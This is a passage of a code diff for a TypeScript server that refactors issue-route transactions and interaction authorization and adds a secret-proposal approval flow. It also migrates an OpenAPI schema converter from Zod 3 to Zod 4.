           ...(interruptedRunId ? { interruptedRunId } : {}),
@@ -9253,47 +9945,43 @@ export function issueRoutes(
       generation: reopenedGeneration,
       finalIssueStatus: () => issue?.status,
     });
+    const decision = transition.decision && decisionId ? transition.decision : null;
+    const shouldUseTransactionalIssueUpdate =
+      Boolean(decision)
+      || shouldRelayStop
+      || persistReviewActivityTransactionally
+      || reviewPolicySensitiveMutationRequested;
     try {
-      if (transition.decision && decisionId) {
-        const decision = transition.decision;
+      if (shouldUseTransactionalIssueUpdate) {
         issue = await db.transaction(async (tx) => {
+          if (
+            reviewPolicySensitiveMutationRequested
+            && !(await assertLockedReviewPolicyAllowsMutation(tx))
+          ) return null;
           const updated = await updateIssue(tx);
           if (!updated) return null;
 
-          await tx.insert(issueExecutionDecisions).values({
-            id: decisionId,
-            companyId: updated.companyId,
-            issueId: updated.id,
-            stageId: decision.stageId,
-            stageType: decision.stageType,
-            actorAgentId: actor.agentId ?? null,
-            actorUserId: actor.actorType === "user" ? actor.actorId : null,
-            outcome: decision.outcome,
-            body: decision.body,
-            createdByRunId: actor.runId ?? null,
-          });
+          if (decision && decisionId) {
+            await tx.insert(issueExecutionDecisions).values({
+              id: decisionId,
+              companyId: updated.companyId,
+              issueId: updated.id,
+              stageId: decision.stageId,
+              stageType: decision.stageType,
+              actorAgentId: actor.agentId ?? null,
+              actorUserId: actor.actorType === "user" ? actor.actorId : null,
+              outcome: decision.outcome,
+              body: decision.body,
+              createdByRunId: actor.runId ?? null,
+            });
+          }
 
           if (shouldRelayStop) {
             stopRelayResult.value = await svc.addStopRelayCommentIfNeeded(updated, tx);
           }
 
-          await persistBoundReviewActivity(tx, updated);
+          await persistReviewTransitionActivity(tx, updated);
 
-          return updated;
-        });
-      } else if (shouldRelayStop) {
-        issue = await db.transaction(async (tx) => {
-          const updated = await updateIssue(tx);
-          if (!updated) return null;
-          stopRelayResult.value = await svc.addStopRelayCommentIfNeeded(updated, tx);
-          await persistBoundReviewActivity(tx, updated);
-          return updated;
-        });
-      } else if (reviewInteractionId) {
-        issue = await db.transaction(async (tx) => {
-          const updated = await updateIssue(tx);
-          if (!updated) return null;
-          await persistBoundReviewActivity(tx, updated);
           return updated;
         });
       } else {
@@ -9479,7 +10167,7 @@ export function issueRoutes(
         activeRecoveryAction: null,
       };
     }
-    if (!reviewInteractionId) await logActivity(db, {
+    if (!persistReviewActivityTransactionally) await logActivity(db, {
       companyId: issue.companyId,
       actorType: actor.actorType,
       actorId: actor.actorId,
@@ -9872,14 +10560,15 @@ export function issueRoutes(
         source: string;
         mutation: string;
       }) => {
-        const idempotencyKey = buildIssueBlockersResolvedWakeIdempotencyKey({
+        const idempotencyKey = buildIssueBlockersResolvedWakeStateKey({
           dependentIssueId: input.dependentIssueId,
-          resolvedBlockerIssueId: input.resolvedBlockerIssueId,
+          blockerIssueIds: input.blockerIssueIds,
         });
         try {
-          const existingWake = await findExistingIssueBlockersResolvedWake(db, {
+          const existingWake = await findExistingIssueBlockersResolvedWakeForReadyState(db, {
             companyId: issue.companyId,
-            idempotencyKey,
+            dependentIssueId: input.dependentIssueId,
+            blockerIssueIds: input.blockerIssueIds,
           });
           if (existingWake) return;
         } catch (err) {
@@ -10541,6 +11230,9 @@ export function issueRoutes(
     if (req.body.kind === "request_confirmation" && req.body.payload?.toolAction !== undefined) {
       throw unprocessable("payload.toolAction is server-owned metadata and cannot be supplied when creating an interaction");
     }
+    if (req.body.kind === "request_confirmation" && req.body.payload?.secretProposal !== undefined) {
+      throw unprocessable("payload.secretProposal is server-owned metadata and cannot be supplied when creating an interaction");
+    }
 
     // Plan-document confirmation targets are validated authoritatively inside
     // issueThreadInteractionService.create, which re-reads the plan document's
@@ -10574,10 +11266,23 @@ export function issueRoutes(
         addresseeAgentId: interaction.addresseeAgentId ?? null,
         requestedResolverPolicy: interaction.requestedResolverPolicy,
         effectiveResolverPolicy: interaction.effectiveResolverPolicy,
+        resolverPolicyProvenance: interaction.resolverPolicyProvenance,
+        effectiveResolverPolicySource: interaction.effectiveResolverPolicySource,
       },
     });
 
-    if (interaction.addresseeAgentId) {
+    if (
+      interaction.addresseeAgentId
+      && issueThreadInteractionAttentionAgentAllowed({
+        agentId: interaction.addresseeAgentId,
+        interaction,
+        governedAction: interaction.kind === "request_confirmation"
+          && typeof interaction.payload === "object"
+          && interaction.payload !== null
+          && "toolAction" in interaction.payload
+          && interaction.payload.toolAction !== undefined,
+      })
+    ) {
       void heartbeat.wakeup(interaction.addresseeAgentId, {
         source: "automation",
         triggerDetail: "system",
@@ -10622,24 +11327,39 @@ export function issueRoutes(
       const interactionId = req.params.interactionId as string;
       const issue = await getAccessibleResource(req, res, svc.getById(id), "Issue not found");
       if (!issue) return;
-      if (await rejectTaskWatchdogInteractionMutation(req, res, issue)) return;
-      const interactionSvc = issueThreadInteractionService(db);
-      const current = await interactionSvc.getForIssue(issue, interactionId);
-      const resolutionAuthorization = await assertIssueThreadInteractionResolutionAllowed(req, res, issue, current);
-      if (!resolutionAuthorization) return;
+      const authorizedResolution = await getIssueThreadInteractionResolutionAuthorization(
+        req,
+        res,
+        issue,
+        interactionId,
+      );
+      if (!authorizedResolution) return;
+      const { interactionSvc, current, resolutionAuthorization } = authorizedResolution;
+      const suggestedTaskEffectsAuthorized = current.kind === "suggest_tasks"
+        ? await assertSuggestedTaskEffectsAllowed(
+            req,
+            res,
+            issue,
+            current,
+            req.body.selectedClientKeys,
+          )
+        : true;
+      if (!suggestedTaskEffectsAuthorized) return;
 
       const actor = getActorInfo(req);
       const { interaction, createdIssues, continuationIssue } = await interactionSvc.acceptInteraction(issue, interactionId, req.body, {
         agentId: actor.agentId,
         runId: actor.runId,
         userId: actor.actorType === "user" ? actor.actorId : null,
-        ...(actor.actorType === "agent" && resolutionAuthorization === "review_verdict"
-          ? { reviewVerdictAuthorized: true }
-          : {}),
+        resolverPolicyRestriction: resolutionAuthorization.resolverPolicyRestriction,
+        suggestedTaskEffectsAuthorized,
       });
       const toolAction = interaction.payload && typeof interaction.payload === "object"
         ? (interaction.payload as { toolAction?: { actionRequestId?: unknown } }).toolAction
         : null;
+      const secretProposal = interaction.payload && typeof interaction.payload === "object"
+        ? (interaction.payload as { secretProposal?: { proposalId?: unknown; configPath?: unknown } }).secretProposal
+        : null;
       let continuationInteraction = interaction;
       if (
         interaction.kind === "request_confirmation"
@@ -10676,6 +11396,81 @@ export function issueRoutes(
           };
         }
       }
+      if (
+        interaction.kind === "request_confirmation"
+        && interaction.status === "accepted"
+        && typeof secretProposal?.proposalId === "string"
+      ) {
+        const resolvedByUserId = actor.actorType === "user" ? actor.actorId : "board";
+        try {
+          if (opts.approveSecretProposal) {
+            await opts.approveSecretProposal({
+              companyId: issue.companyId,
+              issueId: issue.id,
+              interactionId: interaction.id,
+              proposalId: secretProposal.proposalId,
+              actor: { agentId: actor.agentId, userId: actor.actorType === "user" ? actor.actorId : null },
+            });
+          } else {
+            const proposal = await secretProposals.getById(issue.companyId, secretProposal.proposalId);
+            if (
+              !proposal
+              || proposal.kind !== "binding"
+              || proposal.originIssueId !== issue.id
+              || proposal.interactionId !== interaction.id
+            ) {
+              throw notFound("Secret proposal not found");
+            }
+            await secretProposals.approve(issue.companyId, proposal.id, {
+              resolvedByUserId,
+              assertCanResolve: (lockedProposal, txDb) => assertCanResolveProposal({
+                db: txDb,
+                actor: req.actor,
+                companyId: issue.companyId,
+                proposal: lockedProposal,
+              }),
+            });
+            await notifySecretProposalResolution({
+              proposal,
+              status: "approved",
+              userId: resolvedByUserId,
+              issues: svc,
+              heartbeat,
+            });
+          }
+          continuationInteraction = await interactionSvc.recordSecretProposalExecutionResult(
+            issue,
+            interaction.id,
+            secretProposal.proposalId,
+            { status: "executed" },
+          );
+        } catch (error) {
+          const errorCode = secretProposalExecutionErrorCode(error);
+          continuationInteraction = await interactionSvc.recordSecretProposalExecutionResult(
+            issue,
+            interaction.id,
+            secretProposal.proposalId,
+            { status: "failed", errorCode },
+          );
+          const recordedResult = readObject(continuationInteraction.result);
+          const recordedSecretProposal = readObject(recordedResult.secretProposal);
+          if (recordedSecretProposal.status !== "executed") {
+            const configPath = typeof secretProposal.configPath === "string" ? secretProposal.configPath : "unknown";
+            try {
+              await svc.addComment(
+                issue.id,
+                `Secret binding execution failed\n\n- Config path: \`${configPath}\`\n- Error code: \`${errorCode}\`\n- Binding created: **no**`,
+                { userId: resolvedByUserId },
+              );
+            } catch (commentError) {
+              logger.warn(
+                { err: commentError, issueId: issue.id, interactionId: interaction.id, errorCode },
+                "failed to post secret proposal execution failure comment",
+              );
+            }
+          }
+        }
+      }
       const continuationWakeIssue = continuationIssue ?? issue;
 
       await logActivity(db, {
@@ -10697,6 +11492,9 @@ export function issueRoutes(
           resolutionActorKind: actor.actorType,
           requestedResolverPolicy: interaction.requestedResolverPolicy,
           effectiveResolverPolicy: interaction.effectiveResolverPolicy,
+          resolverPolicyProvenance: interaction.resolverPolicyProvenance,
+          effectiveResolverPolicySource: interaction.effectiveResolverPolicySource,
+          resolverAuthorizationReason: resolutionAuthorization.decision.reason,
           createdTaskCount:
             interaction.kind === "suggest_tasks"
               ? (interaction.result?.createdTasks?.length ?? 0)
@@ -10778,20 +11576,21 @@ export function issueRoutes(
       const interactionId = req.params.interactionId as string;
       const issue = await getAccessibleResource(req, res, svc.getById(id), "Issue not found");
       if (!issue) return;
-      if (await rejectTaskWatchdogInteractionMutation(req, res, issue)) return;
-      const interactionSvc = issueThreadInteractionService(db);
-      const current = await interactionSvc.getForIssue(issue, interactionId);
-      const resolutionAuthorization = await assertIssueThreadInteractionResolutionAllowed(req, res, issue, current);
-      if (!resolutionAuthorization) return;
+      const authorizedResolution = await getIssueThreadInteractionResolutionAuthorization(
+        req,
+        res,
+        issue,
+        interactionId,
+      );
+      if (!authorizedResolution) return;
+      const { interactionSvc, resolutionAuthorization } = authorizedResolution;
 
       const actor = getActorInfo(req);
       const interaction = await interactionSvc.rejectInteraction(issue, interactionId, req.body, {
         agentId: actor.agentId,
         runId: actor.runId,
         userId: actor.actorType === "user" ? actor.actorId : null,
-        ...(actor.actorType === "agent" && resolutionAuthorization === "review_verdict"
-          ? { reviewVerdictAuthorized: true }
-          : {}),
+        resolverPolicyRestriction: resolutionAuthorization.resolverPolicyRestriction,
       });
 
       await logActivity(db, {
@@ -10813,6 +11612,9 @@ export function issueRoutes(
           resolutionActorKind: actor.actorType,
           requestedResolverPolicy: interaction.requestedResolverPolicy,
           effectiveResolverPolicy: interaction.effectiveResolverPolicy,
+          resolverPolicyProvenance: interaction.resolverPolicyProvenance,
+          effectiveResolverPolicySource: interaction.effectiveResolverPolicySource,
+          resolverAuthorizationReason: resolutionAuthorization.decision.reason,
           rejectionReason:
             interaction.kind === "suggest_tasks"
               ? (interaction.result?.rejectionReason ?? null)
@@ -10843,16 +11645,21 @@ export function issueRoutes(
       const interactionId = req.params.interactionId as string;
       const issue = await getAccessibleResource(req, res, svc.getById(id), "Issue not found");
       if (!issue) return;
-      if (await rejectTaskWatchdogInteractionMutation(req, res, issue)) return;
-      const interactionSvc = issueThreadInteractionService(db);
-      const current = await interactionSvc.getForIssue(issue, interactionId);
-      if (!(await assertIssueThreadInteractionResolutionAllowed(req, res, issue, current))) return;
+      const authorizedResolution = await getIssueThreadInteractionResolutionAuthorization(
+        req,
+        res,
+        issue,
+        interactionId,
+      );
+      if (!authorizedResolution) return;
+      const { interactionSvc, resolutionAuthorization } = authorizedResolution;
 
       const actor = getActorInfo(req);
       const interaction = await interactionSvc.answerQuestions(issue, interactionId, req.body, {
         agentId: actor.agentId,
         runId: actor.runId,
         userId: actor.actorType === "user" ? actor.actorId : null,
+        resolverPolicyRestriction: resolutionAuthorization.resolverPolicyRestriction,
       });
 
       await logActivity(db, {
@@ -10872,6 +11679,9 @@ export function issueRoutes(
           resolutionActorKind: actor.actorType,
           requestedResolverPolicy: interaction.requestedResolverPolicy,
           effectiveResolverPolicy: interaction.effectiveResolverPolicy,
+          resolverPolicyProvenance: interaction.resolverPolicyProvenance,
+          effectiveResolverPolicySource: interaction.effectiveResolverPolicySource,
+          resolverAuthorizationReason: resolutionAuthorization.decision.reason,
           answeredQuestionCount:
             interaction.kind === "ask_user_questions"
               ? (interaction.result?.answers?.length ?? 0)
@@ -10900,10 +11710,14 @@ export function issueRoutes(
       const interactionId = req.params.interactionId as string;
       const issue = await getAccessibleResource(req, res, svc.getById(id), "Issue not found");
       if (!issue) return;
-      if (await rejectTaskWatchdogInteractionMutation(req, res, issue)) return;
-      const interactionSvc = issueThreadInteractionService(db);
-      const current = await interactionSvc.getForIssue(issue, interactionId);
-      if (!(await assertIssueThreadInteractionResolutionAllowed(req, res, issue, current))) return;
+      const authorizedResolution = await getIssueThreadInteractionResolutionAuthorization(
+        req,
+        res,
+        issue,
+        interactionId,
+      );
+      if (!authorizedResolution) return;
+      const { interactionSvc, resolutionAuthorization } = authorizedResolution;
 
       const actor = getActorInfo(req);
       const { interaction, newlyResolvedItemIds } = await interactionSvc.submitItemVerdicts(
@@ -10914,6 +11728,7 @@ export function issueRoutes(
           agentId: actor.agentId,
           runId: actor.runId,
           userId: actor.actorType === "user" ? actor.actorId : null,
+          resolverPolicyRestriction: resolutionAuthorization.resolverPolicyRestriction,
         },
       );
 
@@ -10936,6 +11751,9 @@ export function issueRoutes(
           resolutionActorKind: actor.actorType,
           requestedResolverPolicy: interaction.requestedResolverPolicy,
           effectiveResolverPolicy: interaction.effectiveResolverPolicy,
+          resolverPolicyProvenance: interaction.resolverPolicyProvenance,
+          effectiveResolverPolicySource: interaction.effectiveResolverPolicySource,
+          resolverAuthorizationReason: resolutionAuthorization.decision.reason,
           submittedVerdictCount: Array.isArray(req.body?.verdicts) ? req.body.verdicts.length : 0,
           newlyResolvedItemCount: newlyResolvedItemIds.length,
           newlyResolvedItemIds,
@@ -10974,7 +11792,6 @@ export function issueRoutes(
       const interactionId = req.params.interactionId as string;
       const issue = await getAccessibleResource(req, res, svc.getById(id), "Issue not found");
       if (!issue) return;
-      if (await rejectTaskWatchdogInteractionMutation(req, res, issue)) return;
 
       const interactionSvc = issueThreadInteractionService(db);
       const current = await interactionSvc.getForIssue(issue, interactionId);
@@ -10984,6 +11801,7 @@ export function issueRoutes(
       const actor = getActorInfo(req);
       const interaction = await interactionSvc.withdrawInteraction(issue, interactionId, req.body, {
         agentId: actor.agentId,
+        runId: actor.runId,
         userId: actor.actorType === "user" ? actor.actorId : null,
       });
       await logActivity(db, {
@@ -11795,14 +12613,15 @@ export function issueRoutes(
         resolvedBlockerIssueId: string;
         blockerIssueIds: string[];
       }) => {
-        const idempotencyKey = buildIssueBlockersResolvedWakeIdempotencyKey({
+        const idempotencyKey = buildIssueBlockersResolvedWakeStateKey({
           dependentIssueId: input.dependentIssueId,
-          resolvedBlockerIssueId: input.resolvedBlockerIssueId,
+          blockerIssueIds: input.blockerIssueIds,
         });
         try {
-          const existingWake = await findExistingIssueBlockersResolvedWake(db, {
+          const existingWake = await findExistingIssueBlockersResolvedWakeForReadyState(db, {
             companyId: currentIssue.companyId,
-            idempotencyKey,
+            dependentIssueId: input.dependentIssueId,
+            blockerIssueIds: input.blockerIssueIds,
           });
           if (existingWake) return;
         } catch (err) {
@@ -11839,13 +12658,27 @@ export function issueRoutes(
         addWakeup(commentDecisionStageWakeup.agentId, commentDecisionStageWakeup.wakeup);
       }
 
-      const assigneeId = currentIssue.assigneeAgentId;
+      // Re-fetch immediately before deciding whether to wake anyone: outside
+      // the reopen/auto-approval branches above, `currentIssue` is still the
+      // snapshot read before the comment was inserted, so a concurrent
+      // close/unassign/reassign landing in that window would otherwise wake
+      // the wrong (or no-longer-relevant) agent off stale state. The comment
+      // is already committed, so a failed re-fetch is logged and falls back to
+      // the in-hand snapshot rather than aborting this best-effort wake block.
+      const wakeIssueSnapshot = (await svc.getById(currentIssue.id).catch((err) => {
+        logger.warn(
+          { err, issueId: currentIssue.id },
+          "failed to re-fetch issue for comment wake decision; falling back to in-hand snapshot",
+        );
+        return null;
+      })) ?? currentIssue;
+      const assigneeId = wakeIssueSnapshot.assigneeAgentId;
       const actorIsAgent = actor.actorType === "agent";
       const selfComment = actorIsAgent && actor.actorId === assigneeId;
       // Re-derive closed-ness from the post-mutation issue so the auto-approval
       // transition (in_review -> done) suppresses a stale `issue_commented` wake
       // to the returnAssignee for an already-completed issue.
-      const skipWake = selfComment || isClosedIssueStatus(currentIssue.status);
+      const skipWake = selfComment || isClosedIssueStatus(wakeIssueSnapshot.status);
       if (assigneeId && (reopened || !skipWake)) {
         if (reopened) {
           addWakeup(assigneeId, {
@@ -12274,7 +13107,16 @@ export function issueRoutes(
       objectContentType: object.contentType,
       originalFilename: attachment.originalFilename,
     });
-    res.setHeader("Content-Type", responseContentType);
+    // Markdown bodies are stored as UTF-8; declare the charset so inline
+    // (raw) views do not mojibake. SVG/inline checks below stay on the bare type.
+    const isMarkdownResponse = isMarkdownAttachmentContent({
+      contentType: responseContentType,
+      originalFilename: attachment.originalFilename,
+    });
+    res.setHeader(
+      "Content-Type",
+      isMarkdownResponse ? `${responseContentType}; charset=utf-8` : responseContentType,
+    );
     res.setHeader("Cache-Control", "private, max-age=60");
     res.setHeader("X-Content-Type-Options", "nosniff");
     if (responseContentType === SVG_CONTENT_TYPE) {
diff --git a/server/src/routes/openapi.ts b/server/src/routes/openapi.ts
index e43cd2fa4f2..690c4883e33 100644
--- a/server/src/routes/openapi.ts
+++ b/server/src/routes/openapi.ts
@@ -112,6 +112,7 @@ import {
   environmentCustomImageTerminalSessionTokenSchema,
   environmentCustomImageTemplateSchema,
   finishEnvironmentCustomImageSetupSessionSchema,
+  relinkEnvironmentCustomImageTemplateSchema,
   updateEnvironmentSchema,
   probeEnvironmentConfigSchema,
   startEnvironmentCustomImageSetupSessionSchema,
@@ -224,6 +225,13 @@ import {
   importMcpJsonSchema,
   toolPolicyTestRequestSchema,
   createToolMcpGatewaySchema,
+  startClaudeSetupTokenSessionRequestSchema,
+  submitBrowserCodeRequestSchema,
+  claudeSetupTokenSessionResponseSchema,
+  claudeSetupTokenSessionPromptSchema,
+  claudeSetupTokenSessionOwnerResponseSchema,
+  claudeSetupTokenCompletionResponseSchema,
+  claudeOAuthTokenStatusResponseSchema,
 } from "@paperclipai/shared";
 import {
   COMPANY_IMPORT_TRANSFERS_API_PATH,
@@ -247,144 +255,183 @@ type OpenApiPathRegistration = {
   [key: string]: unknown;
 };
 
-const zodTypeName = (schema: z.ZodTypeAny) => schema._def.typeName as string;
+// Zod 4 stores each schema definition on `_def` with a lowercase `type`
+// discriminator and moves the wrapped members onto that def. This loose view
+// lets the converter read those members, because Zod 4 does not export a
+// public type for every internal def shape.
+type ZodDefAny = Record<string, unknown> & { type: string };
+
+const zodDef = (schema: z.ZodTypeAny): ZodDefAny => schema._def as unknown as ZodDefAny;
+const zodTypeName = (schema: z.ZodTypeAny): string => zodDef(schema).type;
 
 function unwrapSchema(schema: z.ZodTypeAny): z.ZodTypeAny {
-  const typeName = zodTypeName(schema);
-  if (typeName === "ZodOptional" || typeName === "ZodDefault" || typeName === "ZodCatch") {
-    return unwrapSchema(schema._def.innerType);
+  const def = zodDef(schema);
+  if (def.type === "optional" || def.type === "default" || def.type === "catch") {
+    return unwrapSchema(def.innerType as z.ZodTypeAny);
   }
-  if (typeName === "ZodEffects") {
-    return unwrapSchema(schema._def.schema);
+  // A `.transform()` or `.pipe()` becomes a pipe. Read the input schema so the
+  // published contract describes the value a client sends.
+  if (def.type === "pipe") {
+    return unwrapSchema(def.in as z.ZodTypeAny);
   }
   return schema;
 }
 
 function isOptionalSchema(schema: z.ZodTypeAny): boolean {
-  const typeName = zodTypeName(schema);
-  if (typeName === "ZodOptional" || typeName === "ZodDefault" || typeName === "ZodCatch") {
+  const def = zodDef(schema);
+  if (def.type === "optional" || def.type === "default" || def.type === "catch") {
     return true;
   }
-  if (typeName === "ZodEffects") {
-    return isOptionalSchema(schema._def.schema);
+  if (def.type === "pipe") {
+    return isOptionalSchema(def.in as z.ZodTypeAny);
   }
-  if (typeName === "ZodNullable") {
-    return isOptionalSchema(schema._def.innerType);
+  if (def.type === "nullable") {
+    return isOptionalSchema(def.innerType as z.ZodTypeAny);
   }
   return false;
 }
 
-function applyStringChecks(jsonSchema: JsonSchema, checks: Array<Record<string, unknown>>) {
+// Zod 4 stores each check as an object with a `_zod.def` that carries a `check`
+// name and the check members. Read that def to describe the constraint.
+function checkDef(check: unknown): Record<string, unknown> | undefined {
+  return (check as { _zod?: { def?: Record<string, unknown> } })._zod?.def;
+}
+
+function applyStringChecks(jsonSchema: JsonSchema, checks: ReadonlyArray<unknown>) {
   for (const check of checks) {
-    if (check.kind === "min") jsonSchema.minLength = check.value;
-    if (check.kind === "max") jsonSchema.maxLength = check.value;
-    if (check.kind === "email") jsonSchema.format = "email";
-    if (check.kind === "url") jsonSchema.format = "uri";
-    if (check.kind === "uuid") jsonSchema.format = "uuid";
-    if (check.kind === "datetime") jsonSchema.format = "date-time";
-    if (check.kind === "regex" && check.regex instanceof RegExp) {
-      jsonSchema.pattern = check.regex.source;
+    const def = checkDef(check);
+    if (!def) continue;
+    if (def.check === "min_length") jsonSchema.minLength = def.minimum;
+    else if (def.check === "max_length") jsonSchema.maxLength = def.maximum;
+    else if (def.check === "string_format") {
+      if (def.format === "email") jsonSchema.format = "email";
+      else if (def.format === "url") jsonSchema.format = "uri";
+      // Zod 3 `.uuid()` maps to `.guid()` in zod 4 to keep the loose UUID
+      // format. Publish both as the OpenAPI `uuid` format so the spec does not
+      // change.
+      else if (def.format === "uuid" || def.format === "guid") jsonSchema.format = "uuid";
+      else if (def.format === "datetime") jsonSchema.format = "date-time";
+      // Zod 4 stores a `.regex()` pattern as a `RegExp`; publish its source.
+      else if (def.format === "regex") {
+        if (def.pattern instanceof RegExp) jsonSchema.pattern = def.pattern.source;
+        else if (typeof def.pattern === "string") jsonSchema.pattern = def.pattern;
+      }
     }
   }
 }
 
-function applyNumberChecks(jsonSchema: JsonSchema, checks: Array<Record<string, unknown>>) {
+function applyNumberChecks(jsonSchema: JsonSchema, checks: ReadonlyArray<unknown>) {
   for (const check of checks) {
-    if (check.kind === "int") jsonSchema.type = "integer";
-    if (check.kind === "min") {
-      jsonSchema.minimum = check.value;
-      if (!check.inclusive) jsonSchema.exclusiveMinimum = true;
-    }
-    if (check.kind === "max") {
-      jsonSchema.maximum = check.value;
-      if (!check.inclusive) jsonSchema.exclusiveMaximum = true;
+    const def = checkDef(check);
+    if (!def) continue;
+    // `.int()` records a number-format check such as `safeint`.
+    if (def.check === "number_format") {
+      if (typeof def.format === "string" && def.format.includes("int")) {
+        jsonSchema.type = "integer";
+      }
+    } else if (def.check === "greater_than") {
+      jsonSchema.minimum = def.value;
+      if (!def.inclusive) jsonSchema.exclusiveMinimum = true;
+    } else if (def.check === "less_than") {
+      jsonSchema.maximum = def.value;
+      if (!def.inclusive) jsonSchema.exclusiveMaximum = true;
     }
   }
 }
 
 function zodToOpenApiSchema(schema: z.ZodTypeAny): JsonSchema {
   const unwrapped = unwrapSchema(schema);
-  const typeName = zodTypeName(unwrapped);
+  const def = zodDef(unwrapped);
+  const typeName = def.type;
 
-  if (typeName === "ZodString") {
+  if (typeName === "string") {
     const jsonSchema: JsonSchema = { type: "string" };
-    applyStringChecks(jsonSchema, unwrapped._def.checks ?? []);
+    applyStringChecks(jsonSchema, (def.checks as unknown[]) ?? []);
     return jsonSchema;
   }
 
-  if (typeName === "ZodNumber") {
+  if (typeName === "number") {
     const jsonSchema: JsonSchema = { type: "number" };
-    applyNumberChecks(jsonSchema, unwrapped._def.checks ?? []);
+    applyNumberChecks(jsonSchema, (def.checks as unknown[]) ?? []);
     return jsonSchema;
   }
 
-  if (typeName === "ZodBoolean") return { type: "boolean" };
-  if (typeName === "ZodDate") return { type: "string", format: "date-time" };
-  if (typeName === "ZodAny" || typeName === "ZodUnknown") return {};
+  if (typeName === "boolean") return { type: "boolean" };
+  if (typeName === "date") return { type: "string", format: "date-time" };
+  if (typeName === "any" || typeName === "unknown") return {};
 
-  if (typeName === "ZodLiteral") {
-    const value = unwrapped._def.value;
-    return { type: typeof value, enum: [value] };
+  if (typeName === "literal") {
+    const values = def.values as unknown[];
+    return { type: typeof values[0], enum: values };
   }
 
-  if (typeName === "ZodEnum") {
-    return { type: "string", enum: unwrapped._def.values };
-  }
-
-  if (typeName === "ZodNativeEnum") {
-    const values = Object.values(unwrapped._def.values).filter(
-      (value) => typeof value === "string" || typeof value === "number",
+  // Zod 4 merges string enums and native enums into one `enum` type and stores
+  // the members on `entries`. A pure string enum keeps `type: "string"`; a
+  // native enum can hold numbers, so it publishes the values without a type.
+  if (typeName === "enum") {
+    const values = Array.from(
+      new Set(
+        Object.values(def.entries as Record<string, unknown>).filter(
+          (value) => typeof value === "string" || typeof value === "number",
+        ),
+      ),
     );
-    return { enum: Array.from(new Set(values)) };
+    if (values.every((value) => typeof value === "string")) {
+      return { type: "string", enum: values };
+    }
+    return { enum: values };
   }
 
-  if (typeName === "ZodArray") {
-    return { type: "array", items: zodToOpenApiSchema(unwrapped._def.type) };
+  if (typeName === "array") {
+    return { type: "array", items: zodToOpenApiSchema(def.element as z.ZodTypeAny) };
   }
 
-  if (typeName === "ZodRecord") {
+  if (typeName === "record") {
     return {
       type: "object",
-      additionalProperties: zodToOpenApiSchema(unwrapped._def.valueType),
+      additionalProperties: zodToOpenApiSchema(def.valueType as z.ZodTypeAny),
     };
   }
 
-  if (typeName === "ZodNullable") {
-    return { ...zodToOpenApiSchema(unwrapped._def.innerType), nullable: true };
+  if (typeName === "nullable") {
+    return { ...zodToOpenApiSchema(def.innerType as z.ZodTypeAny), nullable: true };
   }
 
-  if (typeName === "ZodUnion") {
-    return { oneOf: unwrapped._def.options.map((option: z.ZodTypeAny) => zodToOpenApiSchema(option)) };
-  }
-
-  if (typeName === "ZodDiscriminatedUnion") {
+  // Zod 4 represents a plain union and a discriminated union as one `union`
+  // type with the members on `options`.
+  if (typeName === "union") {
     return {
-      oneOf: Array.from(unwrapped._def.options.values()).map((option) =>
-        zodToOpenApiSchema(option as z.ZodTypeAny),
-      ),
+      oneOf: (def.options as z.ZodTypeAny[]).map((option) => zodToOpenApiSchema(option)),
     };
   }
 
-  if (typeName === "ZodIntersection") {
+  if (typeName === "intersection") {
     return {
       allOf: [
-        zodToOpenApiSchema(unwrapped._def.left),
-        zodToOpenApiSchema(unwrapped._def.right),
+        zodToOpenApiSchema(def.left as z.ZodTypeAny),
+        zodToOpenApiSchema(def.right as z.ZodTypeAny),
       ],
     };
   }
 
-  if (typeName === "ZodObject") {
-    const shape = unwrapped._def.shape();
+  if (typeName === "object") {
+    const shape = def.shape as Record<string, z.ZodTypeAny>;
     const properties: Record<string, JsonSchema> = {};
     const required: string[] = [];
     for (const [key, value] of Object.entries(shape)) {
-      const propertySchema = value as z.ZodTypeAny;
-      properties[key] = zodToOpenApiSchema(propertySchema);
-      if (!isOptionalSchema(propertySchema)) required.push(key);
+      properties[key] = zodToOpenApiSchema(value);
+      if (!isOptionalSchema(value)) required.push(key);
     }
     const jsonSchema: JsonSchema = { type: "object", properties };
     if (required.length > 0) jsonSchema.required = required;
+    // A `.strict()` Zod object forbids an unknown key. Zod 4 records that as a
+    // `never` catchall. Publish the constraint as `additionalProperties: false`,
+    // so a client, a gateway, or a handler that treats the contract as
+    // authoritative rejects an extra property too.
+    const catchall = def.catchall as z.ZodTypeAny | undefined;
+    if (catchall && zodDef(catchall).type === "never") {
+      jsonSchema.additionalProperties = false;
+    }
     return jsonSchema;
   }
 
@@ -433,13 +480,13 @@ function normalizeResponses(responses: Record<string, OpenApiResponse> = {}) {
 
 function parametersFromSchema(schema: z.ZodTypeAny, location: "path" | "query") {
   const objectSchema = unwrapSchema(schema);
-  if (zodTypeName(objectSchema) !== "ZodObject") return [];
-  const shape = objectSchema._def.shape();
+  if (zodTypeName(objectSchema) !== "object") return [];
+  const shape = zodDef(objectSchema).shape as Record<string, z.ZodTypeAny>;
   return Object.entries(shape).map(([name, value]) => ({
     name,
     in: location,
-    required: location === "path" ? true : !isOptionalSchema(value as z.ZodTypeAny),
-    schema: zodToOpenApiSchema(value as z.ZodTypeAny),
+    required: location === "path" ? true : !isOptionalSchema(value),
+    schema: zodToOpenApiSchema(value),
   }));
 }
 
@@ -499,7 +546,7 @@ const ErrorSchema = registry.register(
 );
 
 const responses = {
-  ok: (schema: z.ZodTypeAny = z.record(z.unknown())) => ({
+  ok: (schema: z.ZodTypeAny = z.record(z.string(), z.unknown())) => ({
     description: "Success",
     content: { "application/json": { schema } },
   }),
@@ -524,6 +571,14 @@ const responses = {
     description: "Conflict",
     content: { "application/json": { schema: ErrorSchema } },
   },
+  payloadTooLarge: {
+    description: "Payload too large",
+    content: { "application/json": { schema: ErrorSchema } },
+  },
+  unsupportedMediaType: {
+    description: "Unsupported media type",
+    content: { "application/json": { schema: ErrorSchema } },
+  },
   unprocessable: {
     description: "Unprocessable entity",
     content: { "application/json": { schema: ErrorSchema } },
@@ -580,11 +635,11 @@ const importRequestBody = (schema: z.ZodTypeAny) => ({
 const r = responses;
 
 const externalObjectSummariesBodySchema = z.object({
-  issueIds: z.array(z.string().uuid()).max(1000),
+  issueIds: z.array(z.string().guid()).max(1000),
 }).strict();
 
 const refreshExternalObjectsBodySchema = z.object({
-  objectIds: z.array(z.string().uuid()).max(50).optional(),
+  objectIds: z.array(z.string().guid()).max(50).optional(),
 }).strict();
 
 // The start route reads the body directly, so document the accepted fields
@@ -624,13 +679,18 @@ const environmentCustomImageTemplateRollbackResultSchema = z.object({
   supersededTemplate: environmentCustomImageTemplateSchema,
 }).strict();
 
